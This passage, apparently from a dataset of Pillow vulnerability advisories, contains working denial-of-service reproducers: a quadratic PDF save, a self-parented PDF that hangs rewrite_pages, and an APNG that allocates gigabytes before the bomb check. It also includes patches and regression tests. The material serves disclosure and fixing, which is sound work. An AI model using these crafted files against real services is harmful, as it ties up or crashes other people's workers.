self.xref_table[reference.object_id] = (offset, 0) return reference ``` ## The reproducer
Reproducer \u2014 repro, 1,791 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # PDF save_all is O(frames^2): PdfParser.next_object_id() does max(XrefTable.keys()), # and keys() rebuilds sets of every id reserved so far, 3 calls per frame. # (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely # *declares* N frames - ids are reserved for all N before the first seek fails. import io, struct, time, zlib from PIL import Image def gif(n): return (b\"GIF89a\\x01\\x00\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\" + b\"\\x2c\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02\\x02\\x44\\x01\\x00\" * n + b\"\\x3b\") def apng(n): def chunk(t, d): return struct.pack(\">I\", len(d)) + t + d + struct.pack(\">I\", zlib.crc32(t + d)) return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", struct.pack(\">IIBBBBB\", 1, 1, 8, 0, 0, 0, 0)) + chunk(b\"acTL\", struct.pack(\">II\", n, 0)) + chunk(b\"fcTL\", struct.pack(\">IIIIIHHBB\", 0, 1, 1, 0, 0, 1, 1, 0, 0)) + chunk(b\"IDAT\", zlib.compress(b\"\\x00\\x00\")) + chunk(b\"IEND\", b\"\")) def save_pdf(data): im = Image.open(io.BytesIO(data)) t = time.process_time() try: im.save(io.BytesIO(), \"PDF\", save_all=True) res = \"ok\" except OSError as e: # APNG: frames don't exist, fails *after* the id loop res = f\"OSError({e})\" return time.process_time() - t, res bug = False for name, make in ((\"GIF\", gif), (\"APNG\", apng)): t = {} for n in (2000, 8000): data = make(n) t[n], res = save_pdf(data) print(f\"{name:4} frames={n:5} file={len(data):6} B save CPU={t[n]:6.2f}s result={res}\") growth = t[8000] / t[2000] print(f\"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)\") if growth >= 8: bug = True print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112406", "fix_versions": ["13.0.0"], "aliases": ["GHSA-f2g6-542v-9j58"], "description": "``` ============================================================================ Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it. The bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` \u2192 `write_catalog()` \u2192 `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path. This is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0. The attached reproducer builds two in-memory PDFs and appends a 4\u00d74 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error. ## Details `PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever. The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`: ``` %PDF-1.4 1 0 obj <> endobj 2 0 obj <> endobj 3 0 obj <> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000056 00000 n 0000000125 00000 n trailer <> startxref 192 %%EOF ``` `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time: ``` File \"src/PIL/PdfImagePlugin.py\", line 263, in _save existing_pdf.write_catalog() File \"src/PIL/PdfParser.py\", line 473, in write_catalog self.rewrite_pages() File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages while pages_tree_node_ref: ``` The same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms. The loop: ```python # src/PIL/PdfParser.py:483-510 def rewrite_pages(self) -> None: pages_tree_nodes_to_delete = [] for i, page_ref in enumerate(self.orig_pages): page_info = self.cached_objects[page_ref] del self.xref_table[page_ref.object_id] pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")]) \u2026 # delete redundant Pages tree nodes from xref table for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None) self.orig_pages = [] ``` How the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, \u2026, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` \u2014 which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) \u2014 and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` \u2192 `rewrite_pages()`. For the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` \u2014 which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent \u2014 `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 \u2192 `/Kids [4 0 R]`, node 4 \u2192 `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless. The parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats \u2014 the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard. The unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0. ## Impact Any application that appends pages to a PDF it did not produce \u2014 `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document \u2014 hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected. This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it. ## Reproducing `repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds. The script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2: - `control` has `<>`. This is a normal file. - `cyclic` has `<>`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above. For each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict. Expected output on this commit (PDF dumps omitted): ``` [control] append finished in 0.045s [cyclic] still running after 5s, interrupted in: save() /src/src/PIL/Image.py:2724 save_handler(self, fp, filename) _save() /src/src/PIL/PdfImagePlugin.py:263 existing_pdf.write_catalog() write_catalog() /src/src/PIL/PdfParser.py:473 self.rewrite_pages() rewrite_pages() /src/src/PIL/PdfParser.py:506 pages_tree_node = self.cached_objects[pages_tree_node_ref] ... BUG ``` The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505\u2013509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires. ## Suggested fix Both attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file. **Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen: ```python # src/PIL/PdfParser.py, rewrite_pages() processed_pages_tree_nodes: set[IndirectReference] = set() for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: if pages_tree_node_ref in processed_pages_tree_nodes: break processed_pages_tree_nodes.add(pages_tree_node_ref) \u2026 ``` Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page. **Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state. Each patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`. Note that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change. ## Related findings - **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** \u2014 the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs ND object parses (a 1.9 KB, 10-wide \u00d7 12-level file never returns; a 5.8 KB, 300-wide \u00d7 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` \u2014 verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests). ## The patch (1 of 2) Track visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py index f2ae6b11f..f841aca14 100644 --- a/Tests/test_pdfparser.py +++ b/Tests/test_pdfparser.py @@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None: def test_trailer_loop() -> None: with pytest.raises(PdfFormatError, match=\"trailer loop found\"): PdfParser(\"Tests/images/trailer_loop.pdf\") + + +@pytest.mark.timeout(5) +def test_page_tree_parent_loop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b\"<>\", + b\"<>\", + b\"<>\", + ] + b = BytesIO(b\"%PDF-1.4\\n\") + offsets = [] + for object_id, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body)) + xref_offset = b.tell() + b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\") + b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets)) + b.write(b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset) + + with PdfParser(f=b, mode=\"r+b\") as pdf: + pdf.start_writing() + pdf.write_catalog() + pdf.write_xref_and_trailer() + assert 2 in pdf.xref_table.deleted_entries diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9260cd8e7 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -501,8 +501,14 @@ class PdfParser: # replace the page reference with the new one self.pages[j] = new_page_ref # delete redundant Pages tree nodes from xref table + processed_pages_tree_nodes: set[IndirectReference] = set() for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: + if pages_tree_node_ref in processed_pages_tree_nodes: + # ancestors are shared between pages, and a malformed + # /Parent chain may loop back on itself + break + processed_pages_tree_nodes.add(pages_tree_node_ref) pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] ``` ## The patch (2 of 2) Raise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py index f2ae6b11f..24faeefbc 100644 --- a/Tests/test_pdfparser.py +++ b/Tests/test_pdfparser.py @@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None: def test_trailer_loop() -> None: with pytest.raises(PdfFormatError, match=\"trailer loop found\"): PdfParser(\"Tests/images/trailer_loop.pdf\") + + +@pytest.mark.timeout(5) +def test_page_tree_parent_loop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b\"<>\", + b\"<>\", + b\"<>\", + ] + b = BytesIO(b\"%PDF-1.4\\n\") + offsets = [] + for object_id, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body)) + xref_offset = b.tell() + b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\") + b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets)) + b.write(b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset) + + with PdfParser(f=b, mode=\"r+b\") as pdf: + pdf.start_writing() + with pytest.raises(PdfFormatError, match=\"page tree loop found\"): + pdf.write_catalog() diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9021b8d63 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -502,7 +502,13 @@ class PdfParser: self.pages[j] = new_page_ref # delete redundant Pages tree nodes from xref table for pages_tree_node_ref in pages_tree_nodes_to_delete: + processed_pages_tree_nodes = [] while pages_tree_node_ref: + check_format_condition( + pages_tree_node_ref not in processed_pages_tree_nodes, + \"page tree loop found\", + ) + processed_pages_tree_nodes.append(pages_tree_node_ref) pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] ``` ## The reproducer
Reproducer \u2014 repro, 3,152 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain. Appending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes rewrite_pages() walk each original page's /Parent chain upward until a node has no /Parent. Nothing records which nodes were visited, so a /Pages node that names itself as its own /Parent keeps the walk going forever. We append a 4x4 image to two one-page PDFs that differ in one entry: control - a normal PDF -> finishes in milliseconds cyclic - the /Pages root also says /Parent 2 0 R -> never finishes A SIGALRM watchdog interrupts the append and shows the line it was stuck on. \"\"\" import io import signal import time import traceback from PIL import Image WATCHDOG_S = 5 def make_pdf(pages_root): \"\"\"Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.\"\"\" objects = [ b\"<>\", pages_root, b\"<>\", ] pdf = bytearray(b\"%PDF-1.4\\n\") offsets = [] for num, body in enumerate(objects, start=1): offsets.append(len(pdf)) pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body) xref_offset = len(pdf) pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\" pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets) pdf += b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset return bytes(pdf) class StillRunning(BaseException): pass def on_alarm(signum, frame): raise StillRunning def append_image(name, pdf): \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\" print(f\"--- {name}: {len(pdf)}-byte PDF ---\") print(pdf.decode(\"latin-1\"), end=\"\") signal.alarm(WATCHDOG_S) start = time.monotonic() try: Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True) except StillRunning as e: print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\") for frame in traceback.extract_tb(e.__traceback__): if \"/PIL/\" in frame.filename: print(f\" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}\") return False except Exception as e: # rejecting the file is a correct, safe outcome print(f\"[{name}] raised {type(e).__name__}: {e}\") return True finally: signal.alarm(0) print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\") return True signal.signal(signal.SIGALRM, on_alarm) # Set up: the well-formed file is appended to instantly. control = make_pdf(b\"<>\") if not append_image(\"control\", control): print(\"control case did not finish; environment problem, no verdict\") print(\"OK\") raise SystemExit # Attack: the same file, except the /Pages root is its own /Parent. cyclic = make_pdf(b\"<>\") finished = append_image(\"cyclic\", cyclic) # Verify: a fixed parser finishes (or rejects the file) like the control. print(\"BUG\" if not finished else \"OK\") ```
---"}, {"id": "CVE-2026-112399", "fix_versions": ["13.0.0"], "aliases": ["GHSA-5xm2-6676-qcp9"], "description": "``` ============================================================================ APNG background disposal allocates full canvas before decompression bomb check Location: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000\u00d722000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright. The bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width\u00d7height\u00d74 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1\u00d71 frame rectangle passes the only checks on the way. Below available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000\u00d745000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 (\"Use disposal settings from previous frame\", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached. ## Details For an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched. The following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB. ``` IHDR width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA) acTL num_frames=2 num_plays=0 fcTL seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0 IDAT zlib(00 00 00 00 00) # one 1x1 RGBA scanline IEND ``` With `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed. ### Code path `Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned: ```python # src/PIL/Image.py:3699-3701 im = factory(fp, filename) _decompression_bomb_check(im.size) return im ``` For a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0: ```python # src/PIL/PngImagePlugin.py:845-853 if self.png.im_n_frames is not None: \u2026 self._seek(0) ``` `_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size: ```python # src/PIL/PngImagePlugin.py:991-1001 if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS: self.dispose_op = Disposal.OP_BACKGROUND self.dispose = None if self.dispose_op == Disposal.OP_PREVIOUS: \u2026 elif self.dispose_op == Disposal.OP_BACKGROUND: self.dispose = Image.core.fill(self.mode, self.size) self.dispose = self._crop(self.dispose, self.dispose_extent) ``` `Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000\u00d722000), not the 1\u00d71 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1\u00d71) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000\u00d713000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas. The only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1\u00d71 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is discarded. The eager full-size fill in `_seek()` was introduced in `5e4e0fa6ee67` (\"Use disposal settings from previous frame\", 2020-12-24) and first shipped in 8.1.0; before it, the `OP_BACKGROUND` fill lived in `load_end()` and could not be reached from `Image.open()`. ## Impact Any application that calls `Image.open()` on untrusted bytes with default settings \u2014 the configuration in which the decompression-bomb check is supposed to make that call cheap and safe \u2014 can be made to allocate and write an attacker-chosen amount of memory from a ~126-byte PNG upload, before any error is reported and without `load()`, frame iteration, or `LOAD_TRUNCATED_IMAGES`. The amount is set directly by the IHDR width/height (4 bytes per pixel for colour type 6): values below the host's free memory cause a transient multi-GB spike per request (\u224815,000,000\u00d7 amplification at 22000\u00d722000) that is freed when the exception propagates, so concurrent or repeated uploads are needed to sustain pressure; values above it get the worker process OOM-killed outright. PNG is accepted by essentially every upload pipeline, and the file passes `_accept` and chunk CRC checks as a well-formed APNG. This is the same class as the recent bomb-check additions for WMF (load at a different DPI), FITS, GIF and FontFile \u2014 an allocation sized from file-declared numbers on a path `_decompression_bomb_check` does not cover \u2014 but here the uncovered path is `Image.open()` itself rather than a later `load()`/`seek()`. ## Reproducing `repro` is a single Python script (no build step, no companion files). It builds two PNGs in memory, opens each one with plain `Image.open(io.BytesIO(data))` in a fresh child interpreter using default settings and no `load()`, and has each child report the exception it got and its own peak RSS (`ru_maxrss`). It needs about 2 GB of free RAM and finishes in about a second. The two files are 126 bytes each and differ in exactly one byte, the `dispose_op` of the first `fcTL` chunk: `0` (`OP_NONE`) for the control and `1` (`OP_BACKGROUND`) for the attack. Both declare IHDR 22000\u00d722000 RGBA. That is 484 Mpixel, above the 2\u00d7`MAX_IMAGE_PIXELS` error threshold, so `Image.open()` has to reject both with `DecompressionBombError`. Each chunk has a job: - The `acTL` chunk (2 frames) makes `_open()` call `_seek(0)`. - The 1\u00d71 `fcTL` rectangle passes `chunk_fcTL`'s bounds check and `_crop`'s bomb check. - The one-scanline `IDAT` ends header parsing. Expected output on this tree: ``` 126-byte APNG declaring 22000x22000 RGBA; Image.open(BytesIO(data)), defaults control dispose_op=0 OP_NONE -> DecompressionBombError peak RSS 17 MB attack dispose_op=1 OP_BACKGROUND -> DecompressionBombError peak RSS 1864 MB Image.open() touched a full 22000x22000 canvas before the bomb check ran BUG ``` Both files are rejected, but the control is rejected at interpreter size. The attack file only reaches the bomb check after `Image.core.fill(\"RGBA\", (22000, 22000))` has allocated and zero-filled about 1.9 GB. The script prints `BUG` if the attack child's peak RSS is at least 1000 MB and at least 20\u00d7 the control's, or if the attack child is killed by `SIGKILL` (for example by the OOM killer on a small host). Otherwise it prints `OK`; any other non-zero child exit is treated as a harness failure, printed with the child's output, and also ends in `OK`. With either attached patch applied, both children report about 17\u201322 MB and the script prints `OK`. The allocation grows with the header, so it can be scaled by changing `SIZE` in the script. The 45000\u00d745000 case (an 8.1 GB canvas) is covered in Details and is not part of the script. ## Suggested fix Do not build the `OP_BACKGROUND` disposal image from the declared size during `_open()`. Two alternative patches are attached; both change only `src/PIL/PngImagePlugin.py`, and both add the same regression test to `Tests/test_file_apng.py` (a 2\u00b3\u00b9\u22121 \u00d7 1 APNG built in memory with a 1\u00d71 `OP_BACKGROUND` first frame must make `Image.open()` raise `DecompressionBombError`; on the current tree the fill fails first with `MemoryError`). Attached patch 1 is the preferred fix. **Attached patch 1** moves the fill to its only point of use, the `frame > 0` branch of `_seek()` right after `self.load()` \u2014 which can only run once `Image.open()` has returned (bomb check passed) and the canvas itself has been allocated \u2014 and, as `GifImagePlugin` already does, fills only the previous frame's dispose extent instead of a full canvas that is then cropped: ```diff --- a/src/PIL/PngImagePlugin.py +++ b/src/PIL/PngImagePlugin.py @@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile): # ensure previous frame was loaded self.load() + if self.dispose_op == Disposal.OP_BACKGROUND: + # Created here rather than in the previous _seek(), so that + # nothing is allocated from the declared image size before + # the decompression bomb check in Image.open() has run. + # Only dispose the extent of the previous frame. + x0, y0, x1, y1 = self.dispose_extent + self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0)) if self.dispose: self.im.paste(self.dispose, self.dispose_extent) self._prev_im = self.im.copy() @@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile): if self._prev_im: self.dispose = self._prev_im.copy() self.dispose = self._crop(self.dispose, self.dispose_extent) - elif self.dispose_op == Disposal.OP_BACKGROUND: - self.dispose = Image.core.fill(self.mode, self.size) - self.dispose = self._crop(self.dispose, self.dispose_extent) ``` At that point `self.dispose_op` and `self.dispose_extent` still hold the previous frame's values (they are reassigned further down in `_seek`), so disposal semantics are unchanged; the `OP_PREVIOUS` copy stays eager because `load_end()` pastes into `_prev_im` in place (`src/PIL/PngImagePlugin.py:1110`). With this patch `Image.open()` allocates nothing from the declared size, including in the `DecompressionBombWarning` range. **Attached patch 2** is a smaller diff that keeps the eager disposal setup in `_seek()` and mirrors `GifImagePlugin._seek()`'s `OP_BACKGROUND` handling exactly: it computes the size of the `fcTL` rectangle (already validated by `chunk_fcTL` to lie within the image), runs 